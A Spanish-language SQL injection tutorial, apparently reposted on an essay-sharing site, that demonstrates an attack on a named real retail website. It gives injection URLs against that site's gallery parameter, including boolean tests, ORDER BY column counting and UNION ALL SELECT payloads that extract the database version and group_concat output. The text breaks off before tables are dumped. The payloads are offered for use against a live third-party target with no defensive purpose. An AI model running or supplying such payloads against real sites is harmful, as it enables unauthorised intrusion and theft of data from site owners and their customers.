Inyeccion sql

Solo disponible en BuenasTareas
  • Páginas : 6 (1267 palabras )
  • Descarga(s) : 0
  • Publicado : 10 de febrero de 2012
Leer documento completo
Vista previa del texto
Bueno en este tutorial aprenderemos como obtener datos de una base de datos bien empecemos... ;)

Mostrare un ejemplo real (espero que no este mal Søra).

bershka.com

Bien busquemos una sección vulnerable como seria la siguiente:

bershka.com/coleccion-galeria.php?id=4
Bien para comprobar que sea una sección vulnerable utilizamos este query a la DB:

and 1=0--

0k0k y para terminarde comprobarlo ponemos el comando:

and 1=1--

0k0k aquí en la URL:
*Nota: Los "+" pueden ser sustituidos por espacios o por su valor hexadecimal: "%20"*
bershka.com/coleccion-galeria.php?id=4+and+1=0-- *Nota:
¿Ven como la imagen no aparece?* bien ahora sigue poner el otro query:

bershka.com/coleccion-galeria.php?id=4+and+1=1-- ¿Notan como aparece la imagen normalmente?

Bien la paginaes totalmente vulnerable ahora toca sacar el numero de las columnas lo cual seria de la siguiente manera:
iremos probando cuantas columnas con el código and 1=1 order by 1--

si se muestra la web entonces es que tiene una o mas columnas...

bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+1--

0k0k se muestra la web entonces tiene una o mas columnas; para probar si tiene 2 columnasse quita el 1 y se pone un 2...

bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+2--

Bien!!! tiene mas de 2 columnas... en ocasiones tiene 200 o mas columnas entonces para ahorrarnos tiempo podemos
hacer es probar hasta la columna 15 o 20 y si no nos muestra nada es que nos hemos pasado!!! Pero si aun nos muestra la
página normalmente entonces es que tiene esas o más columnas, porejemplo de la columna 2 nos cambiamos a la 20 por
decir un número... veamos que pasa:

bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+20--

Bien!!! Tiene 20 o mas columnas... pueden ver cuanto tiempo nos evitamos? bueno veamos si tiene 22 columnas:

bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+22--

Pues no... Tiene menos de 22 columnas veamos si tiene 21:bershka.com/coleccion-galeria.php?id=4+and+1=1+order+by+21--

No, no tiene 21 columnas y como con el numero 20 si mostro la pagina quiere decir que la
pagina tiene 20 columnas!!! Bueno ahora sigue unir todas las 20 columnas... como???
Bueno en este momento ya cambia la consulta por lo siguiente:

and 1=0 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

Sip cambia el 1 por 0 yla query esta pidiendo lo siguiente:

"union all select": ""unir todo lo seleccionado""

"1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20": ""el numero de columnas de la DB ordenada del 1 al 20""

"--":""es como cerrar un comentario""

Bueno pues si todo sale bien en la imagen nos pone la columna vulnerable y la url seria así:bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

Bueno aquí nos menciona que la columna vulnerable es la "2" ¿cierto? ya que es el numero que aparece a un lado
de la imagen entonces el código que inyectaremos para saber lo que queremos será sustituyendo el 2 por el código en
Sql como lo hemos echo hasta ahora por ejemplo si queremos saber la versión de la DB seria con el query"version()"

bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

bien como podemos ver nos puso la versión correspondiente ahora algunos comandos que nos
servirán para MySql 5.x.x.x como es "group_concat()" (que significa concatenar grupo) ya que
nos ahorraremos la pena de estar poniendo un limit y ver una por una cadatabla entonces lo que
aremos será poner en la columna 2 el comando y quedaría así:

bershka.com/coleccion-galeria.php?id=4+and+1=0+union+all+select+1,group_concat(1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

Como vemos abajo nos a puesto un "1" al lado de la cruz en la imagen pero
bueno el query se pude explotar mas!!! ;) Bueno ahora toca decirle a la web que nos muestre por favor...
tracking img